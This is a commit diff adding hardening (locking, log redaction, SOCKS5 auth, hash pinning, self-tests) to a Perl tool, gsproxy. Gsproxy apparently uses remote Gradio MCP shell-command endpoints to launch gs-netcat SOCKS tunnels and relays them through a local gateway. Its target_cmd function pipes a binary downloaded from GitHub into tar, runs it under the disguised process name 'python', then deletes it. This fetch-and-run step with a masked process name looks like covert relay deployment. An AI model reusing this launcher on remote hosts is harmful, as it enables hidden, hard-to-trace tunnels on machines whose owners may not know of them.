luxferre/gsproxy
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

harden gsproxy

Browse Source
This commit is contained in:
Luxferre
2026-09-15 10:14:52 +03:00
parent 6b1bc595a3
commit a8f3767b90
2 changed files with 602 additions and 117 deletions
Download Patch File Download Diff File Expand all files Collapse all files
gsproxy.pl
+568 -109
View File
@@ -9,6 +9,10 @@
# 3. monitors each local SOCKS proxy and logs every status change;
# then exposes a gateway SOCKS port that relays to the first alive proxy
#
# Hardening: single-instance flock, secret redaction in logs, 0600 files,
# gateway bind verification and supervision, verified --stop, optional
# SOCKS5 user/pass auth on the gateway, optional remote binary pinning.
#
# Core modules only, no deps
#
# Created by Luxferre in 2026, released into the public domain
@@ -24,7 +28,11 @@ use JSON::PP;
use Time::HiRes qw(sleep);
use File::Spec;
use Errno qw(EINTR EAGAIN);
use File::Basename qw(dirname);
use File::Basename qw(dirname basename);
use Fcntl qw(:flock);
use IO::Handle;
umask 0077;
my $NL = chr(10);
my $SQ = chr(39);
@@ -33,66 +41,80 @@ my $BS = chr(92);
my $SCRIPT_DIR = dirname(File::Spec->rel2abs($0));
my %opt = (
config => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.csv'),
log => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.log'),
pidfile => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.pid'),
state => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.state'),
gateway => 1080,
bind => '0.0.0.0',
interval => 30,
timeout => 10,
mcp_timeout => 60,
test_host => 'www.google.com',
test_port => 443,
workdir => '.',
gs_netcat => 'gs-netcat',
mcp_path => '/gradio_api/mcp/',
insecure => 0,
verbose => 0,
no_mcp => 0,
no_local => 0,
no_bringup => 0,
list => 0,
daemon => 1,
once => 0,
stop => 0,
status => 0,
selftest => 0,
help => 0,
config => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.csv'),
log => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.log'),
pidfile => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.pid'),
state => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.state'),
gateway => 1080,
bind => '0.0.0.0',
interval => 30,
timeout => 10,
mcp_timeout => 60,
test_host => 'www.google.com',
test_port => 443,
workdir => '.',
gs_netcat => 'gs-netcat',
mcp_path => '/gradio_api/mcp/',
insecure => 0,
verbose => 0,
no_mcp => 0,
no_local => 0,
no_bringup => 0,
list => 0,
daemon => 1,
once => 0,
stop => 0,
status => 0,
selftest => 0,
help => 0,
gateway_auth => undef,
target_sha256 => undef,
);
my @secrets;
my $lock_fh;
my $gwpid;
my $last_gw_attempt = 0;
my ($gw_auth_user, $gw_auth_pass);
GetOptions(
'config=s' => \$opt{config},
'log=s' => \$opt{log},
'pidfile=s' => \$opt{pidfile},
'state=s' => \$opt{state},
'gateway-port=i' => \$opt{gateway},
'bind=s' => \$opt{bind},
'interval=i' => \$opt{interval},
'timeout=i' => \$opt{timeout},
'mcp-timeout=i' => \$opt{mcp_timeout},
'test-host=s' => \$opt{test_host},
'test-port=i' => \$opt{test_port},
'workdir=s' => \$opt{workdir},
'gs-netcat=s' => \$opt{gs_netcat},
'insecure' => \$opt{insecure},
'verbose|v' => \$opt{verbose},
'no-mcp' => \$opt{no_mcp},
'no-local' => \$opt{no_local},
'no-bringup' => \$opt{no_bringup},
'list' => \$opt{list},
'daemon!' => \$opt{daemon},
'once' => \$opt{once},
'stop' => \$opt{stop},
'status' => \$opt{status},
'selftest' => \$opt{selftest},
'help|h' => \$opt{help},
'config=s' => \$opt{config},
'log=s' => \$opt{log},
'pidfile=s' => \$opt{pidfile},
'state=s' => \$opt{state},
'gateway-port=i' => \$opt{gateway},
'bind=s' => \$opt{bind},
'interval=i' => \$opt{interval},
'timeout=i' => \$opt{timeout},
'mcp-timeout=i' => \$opt{mcp_timeout},
'test-host=s' => \$opt{test_host},
'test-port=i' => \$opt{test_port},
'workdir=s' => \$opt{workdir},
'gs-netcat=s' => \$opt{gs_netcat},
'insecure' => \$opt{insecure},
'verbose|v' => \$opt{verbose},
'no-mcp' => \$opt{no_mcp},
'no-local' => \$opt{no_local},
'no-bringup' => \$opt{no_bringup},
'list' => \$opt{list},
'daemon!' => \$opt{daemon},
'once' => \$opt{once},
'stop' => \$opt{stop},
'status' => \$opt{status},
'selftest' => \$opt{selftest},
'gateway-auth=s' => \$opt{gateway_auth},
'target-sha256=s' => \$opt{target_sha256},
'help|h' => \$opt{help},
) or usage(2);
usage(0) if $opt{help};
harden_file_perms();
selftest() if $opt{selftest};
if ($opt{stop}) { stop_daemon(); exit 0; }
if ($opt{status}) { exit(do_status()); }
if (defined $opt{target_sha256} && $opt{target_sha256} !~ /^[0-9a-fA-F]{64}$/) {
die 'invalid --target-sha256: expected 64 hex characters' . $NL;
}
sub usage {
my ($code) = @_;
@@ -106,6 +128,7 @@ Options:
--config FILE CSV config: endpoint,secret,port[,label] (default ./gsproxy.csv)
--gateway-port PORT Gateway SOCKS port mapped to first alive SOCKS (default 1080)
--bind ADDR Address the gateway SOCKS listens on (default 0.0.0.0)
--gateway-auth FILE Require SOCKS5 user/pass auth on the gateway (FILE: user:pass)
--interval SEC Monitor interval seconds (default 30)
--timeout SEC Per-check timeout seconds (default 10)
--mcp-timeout SEC MCP Tools_Shell_Command timeout (default 60)
@@ -113,6 +136,7 @@ Options:
--test-port PORT Port probed through each SOCKS (default 443)
--workdir DIR Remote workdir for the MCP call (default .)
--gs-netcat PATH gs-netcat binary (default: from PATH)
--target-sha256 HASH Verify remote gs-netcat SHA-256 before running (64 hex)
--log FILE Log file (default ./gsproxy.log)
--pidfile FILE Pidfile (default ./gsproxy.pid)
--state FILE Runtime state file (default ./gsproxy.state)
@@ -140,16 +164,41 @@ sub strip_eol {
sub now_utc { return strftime('%Y-%m-%dT%H:%M:%SZ', gmtime(time())); }
sub mask {
my ($s) = @_;
$s = '' unless defined $s;
return '***' if length($s) <= 2;
return substr($s, 0, 2) . '***';
}
sub register_secrets {
push @secrets, @_;
}
sub redact {
my ($s) = @_;
$s = '' unless defined $s;
for my $sec (@secrets) {
next unless defined $sec && length($sec) >= 3;
my $m = mask($sec);
$s =~ s/\Q$sec\E/$m/g;
}
return $s;
}
sub logmsg {
my ($msg) = @_;
my $line = '[' . now_utc() . '] ' . $msg . $NL;
if (open my $fh, '>>', $opt{log}) { print $fh $line; close $fh; }
my $line = '[' . now_utc() . '] ' . redact($msg) . $NL;
if (open my $fh, '>>', $opt{log}) {
chmod 0600, $opt{log};
print $fh $line;
close $fh;
}
print STDERR $line if $opt{verbose};
}
sub shq {
my ($s) = @_
;
my ($s) = @_;
$s = '' unless defined $s;
my $out = $SQ;
for my $ch (split //, $s) {
@@ -170,16 +219,9 @@ sub which {
return undef;
}
sub mask {
my ($s) = @_;
$s = '' unless defined $s;
return '***' if length($s) <= 2;
return substr($s, 0, 2) . '***';
}
sub one_line {
my ($s) = @_;
$s = '' unless defined $s;
$s = redact($s);
$s =~ s/[[:space:]]+/ /g;
return substr($s, 0, 300);
}
@@ -360,7 +402,12 @@ sub target_cmd {
my ($secret) = @_;
my $url = 'https://github.com/hackerschoice/binary/raw/refs/heads/main/gsocket/bin/gs-netcat_$(uname -m)-alpine.tar.gz';
my $args = shq('-lSD -s ' . $secret);
return qq{curl -fsSL $url | tar xz && GSOCKET_ARGS=$args bash -c 'exec -a python ./gs-netcat' && rm -f gs-netcat};
my $cmd = qq{curl -fsSL $url | tar xz && };
if ($opt{target_sha256}) {
$cmd .= qq{echo '$opt{target_sha256} gs-netcat' | sha256sum -c - && };
}
$cmd .= qq{GSOCKET_ARGS=$args bash -c 'exec -a python ./gs-netcat' && rm -f gs-netcat};
return $cmd;
}
sub teardown_cmd {
@@ -381,6 +428,45 @@ sub read_proc_file {
return $c;
}
sub proc_state {
my ($pid) = @_;
my $raw = read_proc_file('/proc/' . $pid . '/stat');
return undef unless defined $raw;
my $i = rindex($raw, ')');
return undef if $i < 0;
my @f = split ' ', substr($raw, $i + 1);
return $f[0];
}
sub proc_is_gsproxy {
my ($pid) = @_;
my $raw = read_proc_file('/proc/' . $pid . '/cmdline');
return 0 unless defined $raw && length $raw;
my $flat = join(' ', split /[[:cntrl:]]/, $raw);
my $base = basename($0);
return $flat =~ /\Q$base\E/ ? 1 : 0;
}
sub find_other_daemons {
my @out;
opendir my $dh, '/proc' or return @out;
for my $d (readdir $dh) {
next unless $d =~ /^[0-9]+$/;
next if $d == $$;
next unless proc_is_gsproxy($d);
my $raw = read_proc_file('/proc/' . $d . '/stat');
next unless defined $raw;
my $i = rindex($raw, ')');
next if $i < 0;
my @f = split ' ', substr($raw, $i + 1);
next if (defined $f[0] ? $f[0] : '') eq 'Z';
next unless defined $f[1] && $f[1] == 1;
push @out, $d;
}
closedir $dh;
return @out;
}
sub find_local_pids {
my %ports = map { $_ => 1 } @_;
my @pids;
@@ -430,7 +516,7 @@ sub start_local {
my $gn = which($opt{gs_netcat});
return (0, 'gs-netcat not found: ' . $opt{gs_netcat}) unless defined $gn;
my $port = $e->{port};
my $cmd = $gn . ' -D -p ' . $port . ' -s ' . shq($e->{secret});
my $cmd = shq($gn) . ' -D -p ' . $port . ' -s ' . shq($e->{secret});
system($cmd . q{ >/dev/null 2>&1 &});
return (1, 'started local gs-netcat on 127.0.0.1:' . $port);
}
@@ -454,6 +540,7 @@ sub bring_up {
sub write_state {
my ($alive) = @_;
open my $fh, '>', $opt{state} or return;
chmod 0600, $opt{state};
my $first = @$alive ? $alive->[0] : '';
print $fh $first, $NL;
print $fh join(' ', @$alive), $NL;
@@ -513,6 +600,63 @@ sub pump {
}
}
sub socks_auth_client {
my ($c) = @_;
return 1 unless defined $gw_auth_user;
my $g = read_exact($c, 2, 10);
return 0 unless defined $g && ord(substr($g, 0, 1)) == 5;
my $nm = ord(substr($g, 1, 1));
return 0 if $nm == 0 || $nm > 255;
my $methods = read_exact($c, $nm, 10);
return 0 unless defined $methods && length($methods) == $nm;
return 0 unless index($methods, chr(2)) >= 0;
return 0 unless syswrite($c, pack('C*', 5, 2)) == 2;
my $h = read_exact($c, 2, 10);
return 0 unless defined $h;
return 0 unless ord(substr($h, 0, 1)) == 1;
my $ulen = ord(substr($h, 1, 1));
return 0 if $ulen == 0 || $ulen > 255;
my $u = read_exact($c, $ulen, 10);
return 0 unless defined $u;
my $pb = read_exact($c, 1, 10);
return 0 unless defined $pb;
my $plen = ord($pb);
return 0 if $plen == 0 || $plen > 255;
my $p = read_exact($c, $plen, 10);
return 0 unless defined $p;
if ($u eq $gw_auth_user && $p eq $gw_auth_pass) {
return 0 unless syswrite($c, pack('C*', 1, 0)) == 2;
return 1;
}
syswrite($c, pack('C*', 1, 1));
return 0;
}
sub read_socks_request {
my ($c) = @_;
my $buf = read_exact($c, 4, 10);
return undef unless defined $buf;
my $atyp = ord(substr($buf, 3, 1));
my $extra;
if ($atyp == 1) {
$extra = read_exact($c, 4, 10);
} elsif ($atyp == 3) {
my $l = read_exact($c, 1, 10);
return undef unless defined $l;
my $d = read_exact($c, ord($l), 10);
return undef unless defined $d;
$extra = $l . $d;
} elsif ($atyp == 4) {
$extra = read_exact($c, 16, 10);
} else {
return undef;
}
return undef unless defined $extra;
my $port = read_exact($c, 2, 10);
return undef unless defined $port;
return $buf . $extra . $port;
}
sub handle_gateway_conn {
my ($c) = @_;
my $up = read_state_port();
@@ -523,7 +667,19 @@ sub handle_gateway_conn {
Proto => 'tcp',
Timeout => 10,
) or return;
eval { pump($c, $u) };
if (defined $gw_auth_user) {
return unless socks_auth_client($c);
my $req = read_socks_request($c);
return unless defined $req;
my $greet = pack('C*', 5, 1, 0);
return unless syswrite($u, $greet) == length($greet);
my $g = read_exact($u, 2, 10);
return unless defined $g && $g eq pack('C*', 5, 0);
return unless syswrite($u, $req) == length($req);
eval { pump($c, $u) };
} else {
eval { pump($c, $u) };
}
close $u;
close $c;
}
@@ -531,29 +687,62 @@ sub handle_gateway_conn {
sub start_gateway {
my $gw = $opt{gateway};
my $bind = $opt{bind};
my ($r, $w);
pipe($r, $w) or return undef;
my $pid = fork();
return $pid if $pid;
$SIG{TERM} = sub { exit 0 };
$SIG{INT} = sub { exit 0 };
my $lsn = IO::Socket::INET->new(
LocalAddr => $bind,
LocalPort => $gw,
Proto => 'tcp',
Listen => 128,
ReuseAddr => 1,
) or do { logmsg('gateway: cannot listen on ' . $bind . ':' . $gw . ': ' . $!); exit 1; };
logmsg('gateway listening on ' . $bind . ':' . $gw . ' -> first alive SOCKS');
while (my $c = $lsn->accept) {
my $p = fork();
if (defined $p && $p == 0) {
close $lsn;
handle_gateway_conn($c);
exit 0;
return undef unless defined $pid;
if ($pid == 0) {
close $r;
$SIG{TERM} = sub { exit 0 };
$SIG{INT} = sub { exit 0 };
$SIG{CHLD} = sub { 1 while waitpid(-1, WNOHANG) > 0 };
my $lsn = IO::Socket::INET->new(
LocalAddr => $bind,
LocalPort => $gw,
Proto => 'tcp',
Listen => 128,
ReuseAddr => 1,
);
if (!$lsn) {
logmsg('gateway: cannot listen on ' . $bind . ':' . $gw . ': ' . $!);
print {$w} 'ERR' . $NL;
close $w;
exit 1;
}
close $c;
1 while waitpid(-1, WNOHANG) > 0;
print {$w} 'OK' . $NL;
close $w;
logmsg('gateway listening on ' . $bind . ':' . $gw . ' -> first alive SOCKS');
while (1) {
my $c = $lsn->accept;
if (!defined $c) {
next if $! == EINTR;
logmsg('gateway: accept failed: ' . $!);
exit 1;
}
my $p = fork();
if (defined $p && $p == 0) {
close $lsn;
handle_gateway_conn($c);
exit 0;
}
close $c;
}
exit 0;
}
exit 0;
close $w;
my $sel = IO::Select->new($r);
my $ok = 0;
if ($sel->can_read(5)) {
my $line = <$r>;
$ok = 1 if defined $line && $line =~ /^OK/;
}
close $r;
unless ($ok) {
kill('TERM', $pid);
waitpid($pid, 0);
return undef;
}
return $pid;
}
my %async_jobs;
@@ -574,18 +763,33 @@ sub spawn_bringup {
return $pid;
}
sub reap_jobs {
for my $pid (keys %async_jobs) {
my $r = waitpid($pid, WNOHANG);
next if $r == 0;
my $e = delete $async_jobs{$pid};
$e->{bringing_up} = 0 if $e;
sub reap_children {
my $reaped = 0;
while (1) {
my $r = waitpid(-1, WNOHANG);
last if $r <= 0;
$reaped++;
if (exists $async_jobs{$r}) {
my $e = delete $async_jobs{$r};
$e->{bringing_up} = 0 if $e;
}
if (defined $gwpid && $r == $gwpid) {
logmsg('gateway process ' . $r . ' exited');
$gwpid = undef;
}
}
return $reaped;
}
sub monitor_once {
my ($rows) = @_;
reap_jobs() unless $opt{once};
reap_children() unless $opt{once};
if (!$opt{once} && !defined $gwpid && time() - $last_gw_attempt >= 30) {
$last_gw_attempt = time();
logmsg('gateway not running; restarting');
$gwpid = start_gateway();
write_pidfile($$, $gwpid) if defined $gwpid;
}
my @alive;
for my $e (@$rows) {
my $label = $e->{label};
@@ -612,7 +816,14 @@ sub monitor_once {
sub write_pidfile {
my @pids = @_;
if ($lock_fh) {
seek($lock_fh, 0, 0);
truncate($lock_fh, 0);
print {$lock_fh} join($NL, @pids), $NL;
return;
}
open my $fh, '>', $opt{pidfile} or return;
chmod 0600, $opt{pidfile};
print $fh join($NL, @pids), $NL;
close $fh;
}
@@ -629,11 +840,65 @@ sub read_pidfile {
return @out;
}
sub acquire_lock {
return 1 if $lock_fh;
open my $fh, '>>', $opt{pidfile} or return 0;
unless (flock($fh, LOCK_EX | LOCK_NB)) {
close $fh;
return 0;
}
chmod 0600, $opt{pidfile};
$fh->autoflush(1);
$lock_fh = $fh;
return 1;
}
sub release_lock {
if ($lock_fh) {
close $lock_fh;
$lock_fh = undef;
}
}
sub guard_start {
my @others = find_other_daemons();
if (@others) {
print 'gsproxy daemon already running (pid ' . join(',', @others) . '). Use --stop first.' . $NL;
exit 1;
}
unless (acquire_lock()) {
print 'gsproxy already running (pidfile locked). Use --stop first.' . $NL;
exit 1;
}
}
sub stop_daemon {
my @pids = read_pidfile();
my %pids = map { $_ => 1 } read_pidfile();
$pids{$_} = 1 for find_other_daemons();
my @pids = sort { $a <=> $b } keys %pids;
my $any = 0;
my @victims;
for my $p (@pids) {
if (kill(0, $p)) { kill('TERM', $p); logmsg('stopped pid ' . $p); $any = 1; }
next unless proc_is_gsproxy($p);
if (kill(0, $p)) {
push @victims, $p;
kill('TERM', $p);
logmsg('stopped pid ' . $p);
$any = 1;
}
}
if (@victims) {
my $deadline = time() + 5;
for my $p (@victims) {
while (time() < $deadline && kill(0, $p)) {
last if (proc_state($p) // '') eq 'Z';
sleep 0.2;
}
if (kill(0, $p) && (proc_state($p) // '') ne 'Z') {
logmsg('pid ' . $p . ' did not exit; sending KILL');
kill('KILL', $p);
}
}
}
if (@pids) {
my @now = read_pidfile();
@@ -652,16 +917,22 @@ sub stop_daemon {
sub do_status {
my @pids = read_pidfile();
my @live = grep { kill(0, $_) } @pids;
my @live;
for my $p (@pids) {
next unless proc_is_gsproxy($p);
next if (proc_state($p) // '') eq 'Z';
push @live, $p if kill(0, $p);
}
if (@live) { print 'gsproxy running (pid ' . join(',', @live) . ')' . $NL; return 0; }
print 'gsproxy not running' . $NL;
return 1;
}
sub cleanup {
my ($gwpid, $rows) = @_;
my ($rows) = @_;
kill('TERM', $gwpid) if $gwpid;
unlink $opt{pidfile};
release_lock();
if ($rows) {
my $nl = teardown_local($rows);
logmsg('teardown: local gs-netcat stopped=' . $nl);
@@ -672,12 +943,21 @@ sub cleanup {
sub run_foreground {
my ($rows) = @_;
my $gwpid;
if (!$opt{once}) {
unless (is_loopback($opt{bind})) {
logmsg('warning: gateway bound to ' . $opt{bind} . ':' . $opt{gateway}
. ' is exposed to the network; restrict with --bind or --gateway-auth');
}
$gwpid = start_gateway();
if (!defined $gwpid) {
logmsg('gateway failed to start; aborting');
release_lock();
exit 1;
}
$last_gw_attempt = time();
write_pidfile($$, $gwpid);
$SIG{TERM} = sub { cleanup($gwpid, $rows); exit 0 };
$SIG{INT} = sub { cleanup($gwpid, $rows); exit 0 };
$SIG{TERM} = sub { cleanup($rows); exit 0 };
$SIG{INT} = sub { cleanup($rows); exit 0 };
logmsg('gsproxy started: gateway ' . $opt{bind} . ':' . $opt{gateway}
. ', ' . scalar(@$rows) . ' proxies, interval ' . $opt{interval} . 's');
}
@@ -686,7 +966,53 @@ sub run_foreground {
last if $opt{once};
sleep $opt{interval};
}
cleanup($gwpid, $rows) if $gwpid;
cleanup($rows) if $gwpid;
release_lock();
}
sub harden_file_perms {
for my $f ($opt{log}, $opt{pidfile}, $opt{state}) {
next unless -e $f;
chmod 0600, $f;
}
}
sub check_config_perms {
my ($file) = @_;
return unless -e $file;
my @st = stat($file);
return unless @st;
if ($st[2] & 0077) {
logmsg('warning: config ' . $file . ' is group/world readable; chmod 600 to protect secrets');
}
}
sub is_loopback {
my ($a) = @_;
return 1 if lc($a) eq 'localhost' || $a eq '::1' || $a eq '127.0.0.1';
return 1 if $a =~ /^127\./;
return 0;
}
sub load_gateway_auth {
return (undef, undef) unless defined $opt{gateway_auth};
open my $fh, '<', $opt{gateway_auth} or do {
logmsg('gateway auth: cannot open ' . $opt{gateway_auth} . ': ' . $!);
return (undef, undef);
};
my ($u, $p);
while (my $line = <$fh>) {
$line = strip_eol($line);
next if $line =~ /^[[:space:]]*$/ || $line =~ /^[[:space:]]*#/;
my ($a, $b) = split /:/, $line, 2;
if (defined $a && defined $b && length $a && length $b) {
$u = $a;
$p = $b;
last;
}
}
close $fh;
return ($u, $p);
}
sub fake_socks_server {
@@ -721,6 +1047,42 @@ sub fake_socks_server {
}
}
sub auth_test {
my ($u, $p) = @_;
my $lsn = IO::Socket::INET->new(
LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp',
Listen => 1, ReuseAddr => 1,
) or return (0, 'no listen');
my $port = $lsn->sockport;
my $cli = IO::Socket::INET->new(
PeerAddr => '127.0.0.1', PeerPort => $port, Proto => 'tcp', Timeout => 3,
) or return (0, 'no connect');
my $srv = $lsn->accept;
close $lsn;
my $pid = fork();
return (0, 'no fork') unless defined $pid;
if ($pid == 0) {
my $r = socks_auth_client($srv);
exit($r ? 0 : 1);
}
$cli->autoflush(1);
syswrite($cli, pack('C*', 5, 1, 2));
my $m = read_exact($cli, 2, 3);
my $ar;
if (defined $m && ord(substr($m, 1, 1)) == 2) {
syswrite($cli, pack('C*', 1, length($u)) . $u . pack('C', length($p)) . $p);
$ar = read_exact($cli, 2, 3);
}
waitpid($pid, 0);
my $rc = $? >> 8;
close $cli;
close $srv;
my $auth_ok = defined $ar && ord(substr($ar, 0, 1)) == 1 && ord(substr($ar, 1, 1)) == 0;
my $detail = 'rc=' . $rc . ' auth=' . ($auth_ok ? 'ok' : 'bad')
. ' method=' . (defined $m ? ord(substr($m, 1, 1)) : 'none');
return ((($rc == 0) == $auth_ok) ? 1 : 0, $detail);
}
sub selftest {
my $fails = 0;
my $ok = sub {
@@ -763,6 +1125,46 @@ sub selftest {
$ok->(scalar(find_local_pids()) == 0, 'find_local_pids empty');
$ok->(proc_is_gsproxy($$), 'proc_is_gsproxy self');
$ok->(!proc_is_gsproxy(1), 'proc_is_gsproxy init');
my $zpid = fork();
if (defined $zpid && $zpid == 0) { exit 0; }
sleep 0.2;
$ok->((proc_state($zpid) // '') eq 'Z', 'proc_state zombie');
waitpid($zpid, 0);
register_secrets('sekret123');
$ok->(redact('x sekret123 y sekret123') eq 'x se*** y se***', 'redact secret');
$ok->(one_line('a sekret123 b') eq 'a se*** b', 'one_line redacts');
$opt{target_sha256} = 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef';
my $tc2 = target_cmd('sekret123');
$ok->(index($tc2, "echo 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef gs-netcat' | sha256sum -c -") >= 0, 'target_cmd sha256 pin');
$opt{target_sha256} = undef;
$opt{pidfile} = $tmp . '/gsproxy_selftest.pid';
$ok->(acquire_lock(), 'lock acquire');
my $lpid = fork();
if (defined $lpid && $lpid == 0) {
$lock_fh = undef;
my $got = acquire_lock();
exit($got ? 0 : 1);
}
waitpid($lpid, 0);
$ok->(($? >> 8) == 1, 'lock exclusive across processes');
release_lock();
$ok->(acquire_lock(), 'lock reacquire after release');
release_lock();
$gw_auth_user = 'bob';
$gw_auth_pass = 'pw';
my ($ar1, $d1) = auth_test('bob', 'pw');
$ok->($ar1, 'gateway auth accept (' . $d1 . ')');
my ($ar2, $d2) = auth_test('bob', 'wrong');
$ok->($ar2, 'gateway auth reject (' . $d2 . ')');
$gw_auth_user = undef;
$gw_auth_pass = undef;
$opt{timeout} = 3;
my $lsn = IO::Socket::INET->new(
@@ -808,9 +1210,45 @@ sub selftest {
$ok->(0, 'gateway connect');
}
$gw_auth_user = 'bob';
$gw_auth_pass = 'pw';
my $free2 = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
my $gwport2 = $free2->sockport;
close $free2;
$opt{gateway} = $gwport2;
my $gwpid2 = start_gateway();
sleep 0.3;
my $auth_relay_ok = 0;
my $cli2 = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => $gwport2, Proto => 'tcp', Timeout => 3);
if ($cli2) {
$cli2->autoflush(1);
syswrite($cli2, pack('C*', 5, 1, 2));
my $m2 = read_exact($cli2, 2, 3);
if (defined $m2 && ord(substr($m2, 1, 1)) == 2) {
syswrite($cli2, pack('C*', 1, 3) . 'bob' . pack('C', 2) . 'pw');
my $ar2 = read_exact($cli2, 2, 3);
if (defined $ar2 && ord(substr($ar2, 1, 1)) == 0) {
my $host = 'example.com';
syswrite($cli2, pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', 443));
my $rep2 = read_exact($cli2, 10, 3);
if (defined $rep2 && ord(substr($rep2, 1, 1)) == 0) {
syswrite($cli2, 'ping');
my $echo = read_exact($cli2, 4, 3);
$auth_relay_ok = 1 if defined $echo && $echo eq 'ping';
}
}
}
close $cli2;
}
$ok->($auth_relay_ok, 'gateway auth relay end-to-end');
$gw_auth_user = undef;
$gw_auth_pass = undef;
kill('TERM', $gwpid) if $gwpid;
kill('TERM', $gwpid2) if $gwpid2;
kill('TERM', $spid) if $spid;
waitpid($gwpid, 0) if $gwpid;
waitpid($gwpid2, 0) if $gwpid2;
waitpid($spid, 0) if $spid;
print($fails ? ('SELFTEST FAILED (' . $fails . ')' . $NL) : ('SELFTEST OK' . $NL));
@@ -829,24 +1267,45 @@ if ($opt{list}) {
die 'no usable rows in ' . $opt{config} . $NL unless @$rows;
register_secrets(map { $_->{secret} } @$rows);
my %port_label;
for my $e (@$rows) {
if ($e->{port} == $opt{gateway}) {
logmsg('warning: gateway port ' . $opt{gateway} . ' equals local port of ' . $e->{label});
}
if (defined $port_label{$e->{port}}) {
logmsg('warning: local port ' . $e->{port} . ' is used by both ' . $port_label{$e->{port}} . ' and ' . $e->{label});
} else {
$port_label{$e->{port}} = $e->{label};
}
if (length($e->{secret}) < 8) {
logmsg('warning: secret for ' . $e->{label} . ' is only ' . length($e->{secret}) . ' characters');
}
}
check_config_perms($opt{config});
if (defined $opt{gateway_auth}) {
($gw_auth_user, $gw_auth_pass) = load_gateway_auth();
unless (defined $gw_auth_user) {
print 'gateway auth file ' . $opt{gateway_auth} . ' has no user:pass line' . $NL;
exit 1;
}
my @st = stat($opt{gateway_auth});
if (@st && ($st[2] & 0077)) {
logmsg('warning: gateway auth file ' . $opt{gateway_auth} . ' is group/world readable; chmod 600');
}
}
if ($opt{once} || !$opt{daemon}) {
guard_start();
run_foreground($rows);
exit 0;
}
if (!$ENV{GSPROXY_DAEMON}) {
my @old = read_pidfile();
if (grep { kill(0, $_) } @old) {
print 'gsproxy already running. Use --stop first.' . $NL;
exit 1;
}
unlink $opt{pidfile};
guard_start();
$ENV{GSPROXY_DAEMON} = 1;
my $pid = fork();
if ($pid) {
@@ -860,4 +1319,4 @@ if (!$ENV{GSPROXY_DAEMON}) {
}
run_foreground($rows);
exit 0;
exit 0;